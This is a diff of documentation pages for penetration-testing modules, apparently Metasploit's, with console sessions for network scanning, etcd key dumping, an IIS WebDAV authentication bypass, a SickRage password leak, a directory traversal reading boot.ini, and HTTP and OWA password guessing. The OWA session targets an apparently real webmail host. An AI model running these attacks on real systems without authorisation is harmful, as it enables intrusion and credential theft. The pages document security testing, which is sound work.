||||
[*] 192.168.1.97 is alive.
|
||||
[*] 192.168.1.250 is alive.
|
||||
[*] IPv6 Neighbor Discovery
|
||||
[*] 192.168.1.69 maps to IPv6 link local address fe80::5a55:caff:fe14:1e61
|
||||
[*] 192.168.1.99 maps to IPv6 link local address fe80::5ab0:35ff:fe6a:4ecc
|
||||
[*] 192.168.1.97 maps to IPv6 link local address fe80::7ec5:37ff:fef9:a96a
|
||||
[*] Scanned 253 of 253 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ipv6_neighbor) >
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
## Description
|
||||
|
||||
The `udp_sweep` module scans across a given range of hosts to detect commonly available UDP services.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/discovery/udp_sweep```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/discovery/udp_sweep
|
||||
msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.2-254
|
||||
RHOSTS => 192.168.1.2-254
|
||||
msf auxiliary(udp_sweep) > set THREADS 253
|
||||
THREADS => 253
|
||||
msf auxiliary(udp_sweep) > run
|
||||
|
||||
[*] Sending 10 probes to 192.168.1.2->192.168.1.254 (253 hosts)
|
||||
[*] Discovered NetBIOS on 192.168.1.109:137 (SAMSUNG::U :SAMSUNG::U :00:15:99:3f:40:bd)
|
||||
[*] Discovered NetBIOS on 192.168.1.150:137 (XEN-WIN7-PROD::U :WORKGROUP::G :XEN-WIN7-PROD::U :WORKGROUP::G :aa:e3:27:6e:3b:a5)
|
||||
[*] Discovered NetBIOS on 192.168.1.203:137 (XEN-XP-SPLOIT::U :WORKGROUP::G :XEN-XP-SPLOIT::U :WORKGROUP::G :3e:ff:3c:4c:89:67)
|
||||
[*] Discovered NetBIOS on 192.168.1.201:137 (XEN-XP-SP2-BARE::U :HOTZONE::G :XEN-XP-SP2-BARE::U :HOTZONE::G :HOTZONE::U :__MSBROWSE__::G :c6:ce:4e:d9:c9:6e)
|
||||
[*] Discovered NetBIOS on 192.168.1.206:137 (XEN-XP-PATCHED::U :XEN-XP-PATCHED::U :HOTZONE::G :HOTZONE::G :12:fa:1a:75:b8:a5)
|
||||
[*] Discovered NetBIOS on 192.168.1.250:137 (FREENAS::U :FREENAS::U :FREENAS::U :__MSBROWSE__::G :WORKGROUP::U :WORKGROUP::G :WORKGROUP::G :00:00:00:00:00:00)
|
||||
[*] Discovered SNMP on 192.168.1.2:161 (GSM7224 L2 Managed Gigabit Switch)
|
||||
[*] Discovered SNMP on 192.168.1.109:161 (Samsung CLX-3160 Series; OS V1.01.01.16 02-25-2008;Engine 6.01.00;NIC V4.03.08(CLX-3160) 02-25-2008;S/N 8Y61B1GP400065Y.)
|
||||
[*] Discovered NTP on 192.168.1.69:123 (NTP v4)
|
||||
[*] Discovered NTP on 192.168.1.99:123 (NTP v4)
|
||||
[*] Discovered NTP on 192.168.1.201:123 (Microsoft NTP)
|
||||
[*] Discovered NTP on 192.168.1.203:123 (Microsoft NTP)
|
||||
[*] Discovered NTP on 192.168.1.206:123 (Microsoft NTP)
|
||||
[*] Discovered MSSQL on 192.168.1.206:1434 (ServerName=XEN-XP-PATCHED InstanceName=SQLEXPRESS IsClustered=No Version=9.00.4035.00 tcp=1050 np=\\XEN-XP-PATCHED\pipe\MSSQL$SQLEXPRESS\sql\query )
|
||||
[*] Discovered SNMP on 192.168.1.2:161 (GSM7224 L2 Managed Gigabit Switch)
|
||||
[*] Discovered SNMP on 192.168.1.109:161 (Samsung CLX-3160 Series; OS V1.01.01.16 02-25-2008;Engine 6.01.00;NIC V4.03.08(CLX-3160) 02-25-2008;S/N 8Y61B1GP400065Y.)
|
||||
[*] Scanned 253 of 253 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(udp_sweep) >
|
||||
```
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
etcd is a distributed reliable key-value store, which when used in an open and default configuration gives
|
||||
unauthenticated users access to the data stored via HTTP API.
|
||||
|
||||
### Centos 7.1
|
||||
|
||||
1. `yum install etcd`
|
||||
2. `vi /etc/etcd/etcd.conf` replace (and uncomment) items with `localhost` for your IP.
|
||||
3. `systemctl start etcd; systemctl enable etcd`
|
||||
4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld`
|
||||
5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"`
|
||||
|
||||
### Docker
|
||||
|
||||
1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/etcd/open_key_scanner```
|
||||
4. Do: ```set rhosts [IPs]```
|
||||
5. Do: ```run```
|
||||
6. You should get a JSON response, and the data saved to `loot`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### etcd 3.2.15 on CentOS 7.1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/etcd/open_key_scanner
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||
|
||||
[+] 2.2.2.2:2379
|
||||
Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
|
||||
Data: {
|
||||
"action": "get",
|
||||
"node": {
|
||||
"dir": true,
|
||||
"nodes": [
|
||||
{
|
||||
"key": "/supersecret",
|
||||
"value": "password",
|
||||
"modifiedIndex": 6,
|
||||
"createdIndex": 6
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
2.2.2.2 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_2.2.2.2_etcd.data_425280.txt
|
||||
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
|
||||
```
|
||||
|
||||
### etcd in Docker
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/etcd/open_key_scanner
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||
|
||||
[+] 127.0.0.1:2379
|
||||
Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
|
||||
Data: {
|
||||
"action": "get",
|
||||
"node": {
|
||||
"dir": true
|
||||
}
|
||||
}
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt
|
||||
|
||||
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
127.0.0.1 2379 tcp etcd open {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
## Vulnerable Application
|
||||
|
||||
etcd is a distributed reliable key-value store. It exposes and API from which you can obtain the version of etcd and related components.
|
||||
|
||||
### Docker
|
||||
|
||||
1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/etcd/version```
|
||||
4. Do: ```set rhosts [IPs]```
|
||||
5. Do: ```run```
|
||||
6. You should get a JSON response for the version and the service identified in `services`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### etcd in Docker
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/etcd/version
|
||||
msf5 auxiliary(scanner/etcd/version) > set RHOSTS localhost
|
||||
RHOSTS => localhost
|
||||
msf5 auxiliary(scanner/etcd/version) > run
|
||||
|
||||
[+] 127.0.0.1:2379 : {"etcdserver"=>"3.1.3", "etcdcluster"=>"3.1.0"}
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/etcd/version) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
127.0.0.1 2379 tcp etcd open {"etcdserver"=>"3.1.3", "etcdcluster"=>"3.1.0"}
|
||||
```
|
||||
@@ -0,0 +1,76 @@
|
||||
## Description
|
||||
|
||||
This module is a useful administrative scanner that allows you to cover a subnet to check whether or not server http certificates are expired. Using this scanner, you can uncover issuer of certificate, issue and expiry date.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/cert```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/cert
|
||||
msf auxiliary(cert) > set RHOSTS 192.168.1.0/24
|
||||
RHOSTS => 192.168.1.0/24
|
||||
msf auxiliary(cert) > set THREADS 254
|
||||
THREADS => 254
|
||||
msf auxiliary(cert) > run
|
||||
|
||||
[*] 192.168.1.11 - '192.168.1.11' : 'Sat Sep 25 07:16:02 UTC 2010' - 'Tue Sep 22 07:16:02 UTC 2020'
|
||||
[*] 192.168.1.10 - '192.168.1.10' : 'Wed Mar 10 00:13:26 UTC 2010' - 'Sat Mar 07 00:13:26 UTC 2020'
|
||||
[*] 192.168.1.201 - 'localhost' : 'Tue Nov 10 23:48:47 UTC 2009' - 'Fri Nov 08 23:48:47 UTC 2019'
|
||||
[*] Scanned 255 of 256 hosts (099% complete)
|
||||
[*] Scanned 256 of 256 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(cert) >
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
The following are other industry tools which can also be used. Note that the targets are not the same as those used in the previous documentation.
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/ssl-cert.html)
|
||||
|
||||
```
|
||||
# nmap -p 443 192.168.2.137 -sV --script=ssl-cert
|
||||
|
||||
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-24 13:20 EST
|
||||
Nmap scan report for ubuntu (192.168.2.137)
|
||||
Host is up (0.0029s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|
||||
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
||||
| ssl-cert: Subject: commonName=ubuntu
|
||||
| Issuer: commonName=ubuntu
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2018-01-26T21:38:21
|
||||
| Not valid after: 2028-01-24T21:38:21
|
||||
| MD5: d2a7 364d 636a 6eee c3e1 7af9 05f7 8c5b
|
||||
|_SHA-1: a5bf f783 2514 90ee 365a 3ee4 9b6c 23f6 24af dbfa
|
||||
MAC Address: 00:0C:29:5B:CF:75 (VMware)
|
||||
```
|
||||
|
||||
### [sslscan](https://github.com/rbsec/sslscan)
|
||||
```
|
||||
# sslscan 192.168.2.137
|
||||
Version: 1.11.11-static
|
||||
OpenSSL 1.0.2-chacha (1.0.2g-dev)
|
||||
|
||||
Connected to 192.168.2.137
|
||||
|
||||
Testing SSL server 192.168.2.137 on port 443 using SNI name 192.168.2.137
|
||||
```
|
||||
...snip...
|
||||
```
|
||||
Subject: ubuntu
|
||||
Issuer: ubuntu
|
||||
|
||||
Not valid before: Jan 26 21:38:21 2018 GMT
|
||||
Not valid after: Jan 24 21:38:21 2028 GMT
|
||||
```
|
||||
@@ -0,0 +1,68 @@
|
||||
## Description
|
||||
|
||||
This module scans one or more web servers for interesting directories that can be further explored.
|
||||
|
||||
## Verfication Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/dir_scanner```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/dir_scanner
|
||||
msf auxiliary(dir_scanner) > set RHOSTS 192.168.1.201
|
||||
RHOSTS => 192.168.1.201
|
||||
msf auxiliary(dir_scanner) > run
|
||||
|
||||
[*] Using code '404' as not found for 192.168.1.201
|
||||
[*] Found http://192.168.1.201:80/.../ 403 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/Joomla/ 200 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/cgi-bin/ 403 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/error/ 403 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/icons/ 200 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/oscommerce/ 200 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/phpmyadmin/ 200 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/security/ 200 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/webalizer/ 200 (192.168.1.201)
|
||||
[*] Found http://192.168.1.201:80/webdav/ 200 (192.168.1.201)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(dir_scanner) >
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
The following are other industry tools which can also be used. Note that the targets are not the same as those used in the previous documentation.
|
||||
|
||||
### [dirb](http://dirb.sourceforge.net/)
|
||||
|
||||
```
|
||||
# dirb http://192.168.2.137 /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt
|
||||
|
||||
-----------------
|
||||
DIRB v2.22
|
||||
By The Dark Raver
|
||||
-----------------
|
||||
|
||||
START_TIME: Sat Feb 24 12:56:40 2018
|
||||
URL_BASE: http://192.168.2.137/
|
||||
WORDLIST_FILES: /usr/share/metasploit-framework/data/wmap/wmap_dirs.txt
|
||||
|
||||
-----------------
|
||||
|
||||
GENERATED WORDS: 2351
|
||||
|
||||
---- Scanning URL: http://192.168.2.137/ ----
|
||||
==> DIRECTORY: http://192.168.2.137/.../
|
||||
==> DIRECTORY: http://192.168.2.137/Joomla/
|
||||
==> DIRECTORY: http://192.168.2.137/cgi-bin/
|
||||
==> DIRECTORY: http://192.168.2.137/error/
|
||||
==> DIRECTORY: http://192.168.2.137/icons/
|
||||
==> DIRECTORY: http://192.168.2.137/oscommerce/
|
||||
==> DIRECTORY: http://192.168.2.137/phpmyadmin/
|
||||
==> DIRECTORY: http://192.168.2.137/security/
|
||||
==> DIRECTORY: http://192.168.2.137/webalizer/
|
||||
==> DIRECTORY: http://192.168.2.137/webdav/
|
||||
```
|
||||
@@ -0,0 +1,41 @@
|
||||
## Description
|
||||
|
||||
The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list folders or read, create, or modify files, via a `%c0%af` (Unicode / character) at an arbitrary position in the URI, as demonstrated by inserting `%c0%af` into a `/protected/` initial pathname component to bypass the password protection on the `protected` folder, aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122. More info about this vulnerability can be found in [CVE-2009-1535](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1535).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/dir_webdav_unicode_bypass```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/dir_webdav_unicode_bypass
|
||||
msf auxiliary(dir_webdav_unicode_bypass) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(dir_webdav_unicode_bypass) > set THREADS 20
|
||||
THREADS => 20
|
||||
msf auxiliary(dir_webdav_unicode_bypass) > run
|
||||
|
||||
[*] Using code '404' as not found.
|
||||
[*] Using code '404' as not found.
|
||||
[*] Using code '404' as not found.
|
||||
[*] Found protected folder http://192.168.1.211:80/admin/ 401 (192.168.1.211)
|
||||
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
|
||||
[*] Found protected folder http://192.168.1.223:80/phpmyadmin/ 401 (192.168.1.223)
|
||||
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
|
||||
[*] Found protected folder http://192.168.1.223:80/security/ 401 (192.168.1.223)
|
||||
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
|
||||
[*] Found protected folder http://192.168.1.204:80/printers/ 401 (192.168.1.204)
|
||||
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
|
||||
[*] Found vulnerable WebDAV Unicode bypass target http://192.168.1.204:80/%c0%afprinters/ 207 (192.168.1.204)
|
||||
[*] Found protected folder http://192.168.1.203:80/printers/ 401 (192.168.1.203)
|
||||
[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.
|
||||
[*] Found vulnerable WebDAV Unicode bypass target http://192.168.1.203:80/%c0%afprinters/ 207 (192.168.1.203)
|
||||
...snip...
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(dir_webdav_unicode_bypass) >
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
## Intro
|
||||
|
||||
This module scans for Docker servers listening on a TCP port (default 2375).
|
||||
|
||||
## Options
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
Enable this to dump all info to the screen.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/docker_version
|
||||
msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(scanner/http/docker_version) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/docker_version) > run
|
||||
|
||||
[*] Identifying Docker Server Version on 127.0.0.1:2375
|
||||
[+] [Docker Server] Version: 18.03.1-ce
|
||||
[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"}
|
||||
[*] Saving host information.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/docker_version) >
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
## Description
|
||||
|
||||
This module is a brute-force login scanner that attempts to authenticate to a system using HTTP authentication.
|
||||
This module is a brute-force login scanner that attempts to authenticate to a system using HTTP authentication. More info can be found in [cve-1999-0502](https://www.cvedetails.com/cve/cve-1999-0502).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -11,35 +11,8 @@ This module is a brute-force login scanner that attempts to authenticate to a sy
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Running the scanner**
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/http_login
|
||||
msf auxiliary(http_login) > show options
|
||||
|
||||
Module options (auxiliary/scanner/http/http_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AUTH_URI no The URI to authenticate against (default:auto)
|
||||
BLANK_PASSWORDS false no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
PASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt no File containing passwords, one per line
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
REQUESTTYPE GET no Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_userpass.txt no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE /usr/share/metasploit-framework/data/wordlists/http_default_users.txt no File containing users, one per line
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
VHOST
|
||||
msf auxiliary(http_login) > set AUTH_URI /xampp/
|
||||
AUTH_URI => /xampp/
|
||||
msf auxiliary(http_login) > set RHOSTS 192.168.1.201
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
## Description
|
||||
|
||||
This module exploits a vulnerability in SickRage for versions under v2018-03-09. A simple GET request will return clear-text credentials for Github, Kodi, Plex, AniDB, etc. This exploit will only work if the user has not set credentials for the SickRage application. By default, SickRage credentials are not set.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
SickRage < v2018-03-09
|
||||
|
||||
### Installation and Setup
|
||||
|
||||
The vulnerable versions of SickRage are no longer accessible, but the latest release can be made vulnerable with a few changes.
|
||||
The latest SickRage release for Windows can be found [here](https://github.com/SickRage/SickRageInstaller/releases).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Navigate to `C:\SickRage\SickRage\gui\slick\views`
|
||||
3. Open `config_general.mako`
|
||||
4. Find the input element with the name `git_password`
|
||||
5. Change the value from `${sickbeard.GIT_PASSWORD|hide}` to `${sickbeard.GIT_PASSWORD}`
|
||||
6. Save the changes
|
||||
7. Open `config_anime.mako`
|
||||
8. Find the input element with the name `anidb_password`
|
||||
9. Change the value from `${sickbeard.ANIDB_PASSWORD|hide}` to `${sickbeard.ANIDB_PASSWORD}`
|
||||
10. Save the changes
|
||||
11. Open `config_notifications.mako`
|
||||
12. Find the input element with the name `kodi_password`
|
||||
13. Change the value from `${sickbeard.KODI_PASSWORD|hide}` to `${sickbeard.KODI_PASSWORD}`
|
||||
14. Find the input element with the name `plex_server_password`
|
||||
15. Change the value from `${sickbeard.PLEX_SERVER_PASSWORD|hide}` to `${sickbeard.PLEX_SERVER_PASSWORD}`
|
||||
16. Find the input element with the name `plex_client_password`
|
||||
17. Change the value from `${sickbeard.PLEX_CLIENT_PASSWORD|hide}` to `${sickbeard.PLEX_CLIENT_PASSWORD}`
|
||||
18. Find the input element with the name `email_password`
|
||||
19. Change the value from `${sickbeard.EMAIL_PASSWORD|hide}` to `${sickbeard.EMAIL_PASSWORD}`
|
||||
20. Save the changes
|
||||
21. Start SickRage
|
||||
22. Start msfconsole
|
||||
23. Do: `use [auxiliary/scanner/http/http_sickrage_password_leak]`
|
||||
24. Do: `set RHOSTS [IP]`
|
||||
25. Do: `run`
|
||||
26. The credentials that the user has set should be printed to the screen
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows 7 x86
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/http_sickrage_password_leak
|
||||
msf5 auxiliary(scanner/http/http_sickrage_password_leak) > set RHOSTS 192.168.37.130
|
||||
RHOSTS => 192.168.37.130
|
||||
msf5 auxiliary(scanner/http/http_sickrage_password_leak) > run
|
||||
|
||||
[+] git username: myUsername
|
||||
[+] git password: myPassword
|
||||
[+] anidb username: anidb
|
||||
[+] anidb password: anidbpass
|
||||
[+] plex_server username: plexu
|
||||
[+] plex_server password: plexp
|
||||
[+] plex_client username: plextu
|
||||
[+] plex_client password: plextp
|
||||
[+] Email username: sickrage@sickrage.com
|
||||
[+] Email password: sickragepass
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/http_sickrage_password_leak) >
|
||||
```
|
||||
@@ -0,0 +1,60 @@
|
||||
## Description
|
||||
|
||||
This module exploits a directory traversal vulnerability to read files from a server running httpdasm v0.92.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
httpdasm 0.92
|
||||
|
||||
The vulnerability can be found in HTTPRqst.asm file.
|
||||
|
||||
The beginning of the ServeContent routine attempts to check file path with SafeFilePath:
|
||||
|
||||
```
|
||||
1403 invoke SafeFilePath, __this
|
||||
1404 .if (!eax) ;File is not safe
|
||||
1405 mov m_dwCode, HTTP_STATUS_FORBIDDEN
|
||||
1406 jmp doneHTTPGet
|
||||
1407 .endif
|
||||
1408 invoke ExtractFilename, __this
|
||||
1409 .if (!eax)
|
||||
1410 mov m_dwCode, HTTP_STATUS_URI_TOO_LONG ;max URI is 256 here
|
||||
1411 jmp doneHTTPGe$
|
||||
1412 .endif
|
||||
```
|
||||
|
||||
The SafeFilePath checks for directory traversal with these possible values such as "..", "//", "\", ":", which is inadequate to prevent a traversal attack:
|
||||
|
||||
```
|
||||
502 .if ((cx == '..') || (cx == '//') || (cl == '\') || (cl == ':'))
|
||||
1503 return 0
|
||||
1504 .endif
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use [auxiliary/scanner/http/httpdasm_directory_traversal]`
|
||||
3. `set RHOSTS [IP]`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows XP x86
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/httpdasm_directory_traversal
|
||||
msf5 auxiliary(scanner/http/httpdasm_directory_traversal) > set rhosts 192.168.37.128
|
||||
rhosts => 192.168.37.128
|
||||
msf5 auxiliary(scanner/http/httpdasm_directory_traversal) > run
|
||||
|
||||
[boot loader]
|
||||
timeout=30
|
||||
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
|
||||
[operating systems]
|
||||
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/httpdasm_directory_traversal) >
|
||||
```
|
||||
@@ -0,0 +1,60 @@
|
||||
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
|
||||
|
||||
NOTE: This module assumes that login attempts that take a long time (>1 sec) to
|
||||
return are using a valid domain username. This methodology does not work when
|
||||
passing a full email address (user@domain.com). Full email addresses will not
|
||||
be saved as potentially valid usernames unless we get a successful login.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/owa_login```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Configure a user and password list by setting either `USERNAME`, `PASSWORD`, `USER_FILE`, or `PASS_FILE`.
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/http/owa_login) > run
|
||||
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Testing version OWA_2013
|
||||
[+] Found target domain: HOSTINGCLOUDAPP
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.267791 'HOSTINGCLOUDAPP\administrator' : 'password': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password1
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.273841 'HOSTINGCLOUDAPP\administrator' : 'password1': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : fido
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
|
||||
[+] server type: EXCH2016MBX01
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270796 'HOSTINGCLOUDAPP\administrator' : 'fido': SAVING TO CREDS
|
||||
